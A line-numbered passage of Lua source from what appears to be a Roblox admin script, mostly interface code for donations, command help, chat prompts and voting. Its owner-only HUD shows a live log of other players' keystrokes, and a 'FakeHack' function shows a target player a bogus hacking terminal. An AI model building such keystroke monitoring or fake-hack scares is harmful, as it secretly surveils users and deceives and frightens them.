4648 Server.MPS:PromptPurchase(Player, Get[1], true)
4649 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4650 Server.MPS:PromptPurchase(Player, Get[2], true)
4651 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4652 Server.MPS:PromptPurchase(Player, Get[3], true)
4653 else
4654 Element.Text = "Cannot get request"
4655 end
4656 end
4657 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4658 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4659 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4660 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4661 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4662 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4663
4664 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4665
4666 if Closed then
4667 Closed.Event:connect(function()
4668 Open = false
4669 end)
4670 end
4671 else
4672 CloseForm:Invoke()
4673 end
4674 end) end)()
4675 if RANK:GetRank(Player) == "Owner" then
4676 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4677 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4678 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4679 if HUDSG then
4680 HUDSG:Destroy()
4681 else
4682 GUI:CreateHUD(Player)
4683 end
4684 end)
4685 end
4686 end
4687
4688 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4689 if IsMoving == false then
4690 if TaskBarShown == true then
4691 TaskBarShown = false
4692 IsMoving = true
4693 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4694 else
4695 TaskBarShown = true
4696 IsMoving = true
4697 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4698 end
4699 end
4700 end)
4701
4702 local function ReloadIcons()
4703 for Num,Data in pairs(Tasks) do
4704 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4705 end
4706 end
4707
4708 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4709 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4710 table.insert(Tasks, {Form, Icon})
4711 local CanClick = true
4712 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4713 if Form.IsActive.Value == false then
4714 Restore:Invoke()
4715 elseif CanClick == true then
4716 coroutine.wrap(function()
4717 CanClick = false
4718 local DefPos = Form.Dragger.Position
4719 for i = 1,15 do
4720 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4721 wait(0.05)
4722 end
4723 Form.Dragger.Position = DefPos
4724 CanClick = true
4725 end)()
4726 end
4727 end)
4728 ReloadIcons()
4729
4730 Closed.Event:connect(function()
4731 for Num,Data in pairs(Tasks) do
4732 if Data[1] == Form then
4733 Icon:Destroy()
4734 table.remove(Tasks, Num)
4735 end
4736 end
4737 ReloadIcons()
4738 end)
4739 end)
4740end
4741
4742function GUI:ShowDebtStats(Player, ManualText)
4743 local Text = ManualText
4744 if not ManualText then
4745 Text = "CANNOT GET STATISTICS"
4746 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4747 if RawPage then
4748 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4749 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4750 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4751 end
4752 end
4753
4754 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4755 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4756
4757 return Text
4758end
4759
4760function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4761 if not Player then return nil end
4762 if not CommandTrigger then return nil end
4763
4764 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4765
4766 local CommandKey = CommandTrigger
4767
4768 if not Commands[CommandKey] then
4769 for CommandNames,_ in pairs(Commands) do
4770 for _,CommandName in pairs(CommandNames) do
4771 if CommandName == CommandKey then
4772 CommandKey = CommandNames
4773 end
4774 end
4775 end
4776 end
4777
4778 local CommandData = Commands[CommandKey]
4779
4780 local BodyText = "No valid command has been entered"
4781 local TitleText = "Error"
4782 local CanExe = false
4783 if CommandData then
4784 if Dialog then
4785 Dialog:Invoke(true)
4786 end
4787 local PlayerRank = RANK:GetRank(Player)
4788 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4789 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4790
4791 TitleText = "Command: "..CommandKey[1]
4792 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4793
4794
4795Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4796
4797
4798Description: ]]..CommandData[2]..[[
4799
4800
4801Arguments: ]]..CommandData[3]..[[
4802
4803
4804Minimum rank needed: ]]..CommandData[4]..[[
4805
4806
4807Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4808
4809
4810Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4811
4812
4813Http Command ]]..STRING:BoolString(CommandData.Http)
4814 end
4815
4816 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4817 if Dialog then
4818 Closed.Event:connect(function() Dialog:Invoke(false) end)
4819 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4820 end
4821end
4822
4823function GUI:CreateHUD(Speaker)
4824 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4825
4826 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4827 if SG then SG:Destroy() end
4828 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4829
4830 local function AddHUD(Player, Char)
4831 if not Char or not Char:FindFirstChild("Head") then return nil end
4832
4833 local Rank = RANK:GetRank(Player)
4834 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4835 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4836 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4837 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4838 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4839 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4840 InfoLabel.Text = "Name: "..Player.Name..[[
4841Rank: ]]..RANK:GetRank(Player)..[[
4842Age: ]]..STRING:FindAge(Player.AccountAge)
4843 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4844 InfoLabel.Text = InfoLabel.Text..[[
4845Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4846 end
4847 if LastKeys[Player.UserId] then
4848 local Keys = ""
4849 local KeyLog = {}
4850 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4851 table.insert(KeyLog, KeyData[1])
4852 if KeyData[2] == 8 then
4853 Keys = string.sub(Keys, 1, #Keys - 1)
4854 elseif KeyData[2] == 13 then
4855 Keys = Keys.." "
4856 else
4857 Keys = Keys..string.char(KeyData[2])
4858 end
4859 end
4860 KeyLabel.Text = table.concat(KeyLog, "\n")
4861 KeyOutput.Text = Keys
4862 end
4863 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4864 end end)()
4865
4866 local CharRev,Removing = nil,nil
4867 CharRev = Player.CharacterRemoving:connect(function()
4868 PlayerHUD:Destroy()
4869 CharRev:disconnect()
4870 Removing:disconnect()
4871 end)
4872 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4873 PlayerHUD:Destroy()
4874 CharRev:disconnect()
4875 Removing:disconnect()
4876 end end)
4877 end
4878
4879 local function ConnectHUD(Player)
4880 if Player ~= Speaker then
4881 if Player.Character then
4882 AddHUD(Player, Player.Character)
4883 end
4884
4885 Player.CharacterAdded:connect(function(Char)
4886 if Speaker then
4887 AddHUD(Player, Char)
4888 else return nil
4889 end
4890 end)
4891 end
4892 end
4893
4894 for _,Player in pairs(Server.Players:GetPlayers()) do
4895 ConnectHUD(Player)
4896 end
4897
4898 Server.Players.PlayerAdded:connect(ConnectHUD)
4899end
4900
4901function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4902 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4903 local Stopped = false
4904
4905 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4906 Frame.Size = UDim2.new(1, 0, 1, -30)
4907 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4908
4909 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4910 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4911 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4912
4913 local function AddLine(Speaker, MessageText, MessageColor)
4914 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4915 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4916 if not MessageColor then MessageColor = GUI:ContrastColor() end
4917 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4918 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4919 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4920 Bounds.Parent = Frame
4921 end
4922
4923 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4924
4925 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4926 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4927 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4928
4929 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4930 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4931
4932 CORE:ExecuteResource("MessagePromptHandler", Frame)
4933
4934 wait(0.1)
4935
4936 if PreAdd then
4937 for Num,Add in pairs(PreAdd) do
4938 AddLine(Add[1], Add[2], Add[3])
4939 end
4940 end
4941
4942 --[[
4943 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4944
4945 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4946 if ChatBox.Text == "Click here or press the '-' key" then
4947 ChatBox.Text = ""
4948 end
4949 end)
4950 ]]
4951
4952 local function FireSendPressed()
4953 local Text = CORE:ReadProperty(RPR, Player, "Text")
4954 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4955 SendPressed:Fire(Text)
4956 FakeCB.Visible = true
4957 ClearCB:InvokeClient(Player)
4958 end
4959 end
4960
4961 Closed.Event:connect(function()
4962 if Stopped == false then
4963 Stopped = true
4964 if SpeakerEvents then SpeakerEvents("Leave") end
4965 end
4966 end)
4967
4968 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4969 EnterPressed.OnServerInvoke = FireSendPressed
4970 AddMessage.OnInvoke = AddLine
4971
4972 if SpeakerEvents then
4973 SpeakerEvents("Join")
4974
4975 coroutine.wrap(function()
4976 repeat wait() until not Frame or not Frame.Parent
4977 if Stopped == false then
4978 Stopped = true
4979 SpeakerEvents("Leave")
4980 end
4981 end)()
4982 end
4983
4984 return SendPressed, AddMessage
4985end
4986
4987function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4988 if tonumber(Time) then ShowFormButtons = false end
4989 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4990 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4991 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4992 local Clicked = nil
4993 local Alive = true
4994
4995 local function ClosePrompt(ButtonName)
4996 Alive = false
4997 Close:Invoke()
4998 Clicked = ButtonName
4999 end
5000
5001 for Num,Select in pairs(Buttons) do
5002 local Name = Select
5003 local Style = "White"
5004 local TextColor3 = Color3.new(0,0,0)
5005 if type(Select) == "table" then
5006 Name = Select[1]
5007 if Select[2] then Style = Select[2] end
5008 if Select[3] then TextColor3 = Select[3] end
5009 elseif type(Select) == "string" then
5010 local Case = string.lower(Select)
5011 if Case == "ok" then
5012 Name = "Ok"
5013 Style = "Primary"
5014 TextColor3 = Color3.new(1,1,1)
5015 elseif Case == "yes" then
5016 Name = "Yes"
5017 Style = "Gray"
5018 TextColor3 = Color3.new(0,1,0)
5019 elseif Case == "no" then
5020 Name = "No"
5021 Style = "Red"
5022 TextColor3 = Color3.new(1,0,0)
5023 end
5024 end
5025
5026 if Style == "None" then Style = "Custom" end
5027 if Style == "Casual" then Style = "RobloxButton" end
5028 if Style == "Red" then Style = "RobloxButtonDefault" end
5029 if Style == "Gray" then Style = "RobloxRoundButton" end
5030 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
5031 if Style == "White" then Style = "RobloxRoundDropdownButton" end
5032
5033 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
5034 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
5035 SOUND:BindButton(Button)
5036 end
5037
5038 if tonumber(Time) then
5039 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
5040 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
5041 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
5042
5043 for i = Time,0,-1 do
5044 for ii = 1,10 do
5045 if Alive == true then
5046 Ticker.Text = i
5047 wait(0.1)
5048 else
5049 break
5050 end
5051 end
5052 end
5053 if Alive == true then
5054 ClosePrompt()
5055 end
5056 end
5057
5058 repeat wait() until Alive == false
5059 return Clicked
5060end
5061
5062function GUI:Vote(Speaker, Players, Text, Time)
5063 if not Players or not Text or #Players <= 0 then return end
5064
5065 local Votes = {}
5066 local Tick = 0
5067
5068 for _,Player in pairs(Players) do
5069 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
5070 local CanVote = true
5071 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
5072 if CanVote == true then
5073 coroutine.wrap(function()
5074 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
5075 if Answer == nil then Answer = "Unknown" end
5076 table.insert(Votes, Answer)
5077 end)()
5078 end
5079 end
5080 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
5081 wait(2)
5082 if Speaker and Speaker:FindFirstChild("PlayerGui") then
5083 local Total = #Players
5084 local Yes,No,Unknown = 0,0,0
5085 for _,Vote in pairs(Votes) do
5086 if Vote == "Yes" then Yes = Yes + 1
5087 elseif Vote == "No" then No = No + 1
5088 end
5089 end
5090 Unknown = #Players - #Votes
5091
5092 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
5093 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
5094 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
5095]]..Yes.."/"..Total..[[
5096]]..math.ceil((Yes/Total)*100).."% "
5097 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
5098]]..No.."/"..Total..[[
5099]]..math.ceil((No/Total)*100).."% "
5100 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
5101]]..Unknown.."/"..Total..[[
5102]]..math.ceil((Unknown/Total)*100).."% "
5103 end
5104end
5105
5106--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
5107
5108function GUI:LoadGui(Player, Text, InfoText)
5109 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5110 local Dead = false
5111
5112 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
5113 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
5114 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
5115 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
5116 if InfoText then Info.Text = InfoText end
5117
5118 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
5119 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
5120
5121 CloseGui.OnInvoke = function()
5122 Close:Invoke()
5123 Dead = true
5124 end
5125 AddInfo.OnInvoke = function(AddText)
5126 Info.Text = AddText
5127 end
5128
5129 coroutine.wrap(function()
5130 for i = 0,math.huge,3 do
5131 if Dead == false and Frame then
5132 WaitIcon.Rotation = i
5133 wait()
5134 else
5135 break
5136 end
5137 end
5138 end)()
5139
5140 coroutine.wrap(function()
5141 while Dead == false and Frame do
5142 wait(0.5)
5143 LoadLabel.Text = Text.."."
5144 wait(0.5)
5145 LoadLabel.Text = Text..".."
5146 wait(0.5)
5147 LoadLabel.Text = Text.."..."
5148 wait(0.5)
5149 LoadLabel.Text = Text..".."
5150 wait(0.5)
5151 LoadLabel.Text = Text.."."
5152 wait(0.5)
5153 LoadLabel.Text = Text
5154 end
5155 end)()
5156
5157 wait(1)
5158
5159 return CloseGui, AddInfo
5160end
5161
5162function GUI:FakeHack(Player) coroutine.wrap(function()
5163 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5164 local FakeText = [[
5165>SHELL: BEGIN
5166>RUNCODE:
5167return {
5168 local Hack = {"Account", "Tix", "Robux"};
5169 function Start(Type, Inject, Scan)
5170 if not Inject then Inject = "In-Game" end
5171 return {Type, Inject, Scan}
5172 end
5173 for Exe,Exploit in pairs(Hack) do
5174 local IP = Start("In-Game",Exploit,
5175 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5176 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5177 )
5178 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5179 for i = 1,#Injection[2] do
5180 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5181 end
5182 local PlayerProxy = newproxy(true)
5183 setmetatable(PlayerProxy,Injection[3],{
5184 __index = function(StealData, ...) local Data = unpack(...)
5185 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5186 end;
5187 })
5188 end
5189 Log("HACKED HOST: PLAYERNAME")
5190}
5191>HACKED HOST: PLAYERNAME
5192
5193]]
5194 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5195 if SG then SG:Destroy() end
5196 SG = Instance.new("ScreenGui", Player.PlayerGui)
5197 SG.Name = "MML Hack Gui"
5198 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5199 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5200 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5201 for i = 1,#FakeText do
5202 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5203 if math.random(1,5) == 1 then
5204 wait()
5205 end
5206 end
5207 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5208 wait(3)
5209 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5210fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
